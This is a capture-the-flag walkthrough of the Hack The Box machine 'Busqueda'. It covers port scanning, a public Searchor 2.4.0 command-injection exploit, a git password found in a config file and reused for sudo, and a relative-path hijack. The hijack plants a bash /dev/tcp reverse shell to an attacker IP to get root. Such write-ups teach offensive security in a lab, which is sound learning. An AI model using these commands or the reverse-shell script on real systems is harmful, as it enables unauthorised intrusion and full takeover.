## User Flag
### [[NMAP]] Scan
```shell
sudo nmap 10.10.11.208 -sC -sV
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-16 14:43 MDT
Nmap scan report for 10.10.11.208
Host is up (0.14s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_ 256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://searcher.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.80 seconds
```
### Initial Enumeration
Navigating to http://10.10.11.208 redirects to http://searcher.htb. At first this does not resolve, so I had to add it to my hosts file
```shell
10.10.11.208 searcher.htb
```
This shows a web page that contains a search bar that can search different sites for something.
![[Pasted image 20230816200904.png]]
At the bottom of the page we can see it uses a program called Searchor and the version is 2.4.0.
![[Pasted image 20230816200926.png]]
#### Research
Searching for vulnerabilities in this version brings up mentions of Remote Code Execution vulnerabilities and a [Proof of Concept](https://github.com/nexis-nexis/Searchor-2.4.0-POC-Exploit-) (PoC) on GitHub. When searching for an exploit for the version, I found this [exploit](https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection) on GitHub. I downloaded it to my machine
```shell
git clone https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection.git
```
### Exploiting Vulnerability
Reading the README the script defaults to using port 9001. So i started a [[NetCat Listener]] at port 9001
```shell
nc -lvnp 9001
```
I then ran the script to test if it connected to my attack machine.
```shell
./exploit.sh searcher.htb 10.10.16.5
---[Reverse Shell Exploit for Searchor <= 2.4.2 (2.4.0)]---
[*] Input target is searcher.htb
[*] Input attacker is 10.10.16.5:9001
[*] Run the Reverse Shell... Press Ctrl+C after successful connection
```
Looking at my listener, I can see that I got a shell as the user svc.
```shell
nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.208] 34450
bash: cannot set terminal process group (1646): Inappropriate ioctl for device
bash: no job control in this shell
svc@busqueda:/var/www/app$ whoami
whoami
svc
svc@busqueda:/var/www/app$
```
I found the user flag in the home directory of the svc user.
## Root Flag
### Enumeration
Once I was inside the machine I ran initial enumeration, I downloaded [[LinPeas]] and ran it on the machine. It didn't show anything obvious despite marking almost everything as `95% a PE Vector` It did mention some .git files in the root directory of the website.
```shell
---SNIP---
══════════╣ Searching root files in home dirs (limit 30)
/home/
/home/svc/.bash_history
/home/svc/.mysql_history
/home/svc/user.txt
/home/svc/.searchor-history.json
/root/
/var/www
/var/www/html
/var/www/app/.git/index
---SNIP---
```
I searched the .git folder in /var/www/app and found a file called config
```shell
svc@busqueda:/var/www/app/.git$ cat config
cat config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = http://cody:
[email protected]/cody/Searcher_site.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main
```
We see that Cody has hard-coded his GIT credentials `cody:jh1usoih2bkjaspwe92`. Most people reuse passwords, so if you can find one, you can probably get into many accounts. I tested for a re-used password
### Re-Using Credentials
```shell
vc@busqueda:/var/www/app$ sudo -l -S
sudo -l -S
[sudo] password for svc: jh1usoih2bkjaspwe92
Matching Defaults entries for svc on busqueda:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *
```
Cody reused the password and I can see that I am able to run a python script with sudo privledges. So I enter in the full command
```shell
svc@busqueda:/var/www/app$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
< /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)
docker-ps : List running docker containers
docker-inspect : Inpect a certain docker container
full-checkup : Run a full system checkup
```
The star gave me a few options to run, relating to docker running on the system. Running with the `docker-ps` switch.
```shell
svc@busqueda:/var/www/app$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
<in/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
960873171e2e gitea/gitea:latest "/usr/bin/entrypoint…" 7 months ago Up 5 hours 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea
f84a6b33fb5a mysql:8 "docker-entrypoint.s…" 7 months ago Up 5 hours 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_db
```
I saw that there were a couple containers running on the system, but nothing obvious for exploitation. Running with the docker-inspect switch.
```shell
svc@busqueda:/var/www/app$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect
<thon3 /opt/scripts/system-checkup.py docker-inspect
Usage: /opt/scripts/system-checkup.py docker-inspect <format> <container_name>
```
I didn't know the exact syntax it was asking for, so I moved on to the third switch.
### Further Investigation
```shell
svc@busqueda:/var/www/app$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
<python3 /opt/scripts/system-checkup.py full-checkup
Something went wrong
```
I saw that there was an error when running the script. I decided to go to the directory `/opt/scripts/system-checkup.py` and try running the script again.
```shell
svc@busqueda:/opt/scripts$ ls
ls
check-ports.py
full-checkup.sh
install-flask.sh
system-checkup.py
svc@busqueda:/opt/scripts$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
<python3 /opt/scripts/system-checkup.py full-checkup
[=] Docker conteainers
{
"/gitea": "running"
}
{
"/mysql_db": "running"
}
[=] Docker port mappings
{
"22/tcp": [
{
"HostIp": "127.0.0.1",
"HostPort": "222"
}
],
"3000/tcp": [
{
"HostIp": "127.0.0.1",
"HostPort": "3000"
}
]
}
[=] Apache webhosts
[+] searcher.htb is up
[+] gitea.searcher.htb is up
[=] PM2 processes
┌─────┬────────┬─────────────┬─────────┬─────────┬──────────┬────────┬──────┬───────────┬──────────┬──────────┬──────────┬──────────┐
│ id │ name │ namespace │ version │ mode │ pid │ uptime │ ↺ │ status │ cpu │ mem │ user │ watching │
├─────┼────────┼─────────────┼─────────┼─────────┼──────────┼────────┼──────┼───────────┼──────────┼──────────┼──────────┼──────────┤
│ 0 │ app │ default │ N/A │ fork │ 1646 │ 4h │ 0 │ online │ 0% │ 17.9mb │ svc │ disabled │
└─────┴────────┴─────────────┴─────────┴─────────┴──────────┴────────┴──────┴───────────┴──────────┴──────────┴──────────┴──────────┘
[+] Done!
```
### Exploiting the Relative Path
I saw that there is a `full-checkup.sh` script inside the directory and it worked! This gave me the thought that the script was using a relative path and that I might be able to inject my own code. I navigated to my home directory and created my own full-checkup.sh.
```bash
#!/bin/bash
sh -i >& /dev/tcp/10.10.14.15/8001 0>&1
```
I used [Reverse Shell Generator](https://www.revshells.com/) to generate a generic reverse shell to connect back to my machine. I ran the script after setting up the listener on my attack machine.
```shell
nc -lvnp 8001
```
```shell
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
```
I have root access to the machine and am able to find the flag in the root directory.
```shell
nc -lvnp 8001
listening on [any] 8001 ...
connect to [10.10.14.15] from (UNKNOWN) [10.10.11.208] 56250
# whoami
root
# cd /root
# ls
ecosystem.config.js
root.txt
scripts
snap
# cat root.txt
71605---SNIP---ed733e
```
#### Optional
Instead of getting full root access, you can also just create a script that reads the root flag `if you know where it is`instead of getting a shell.
```shell
#!/bin/bash
cat /root/root.txt
```
```shell
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
71605---SNIP---3ed733e
[+] Done!
```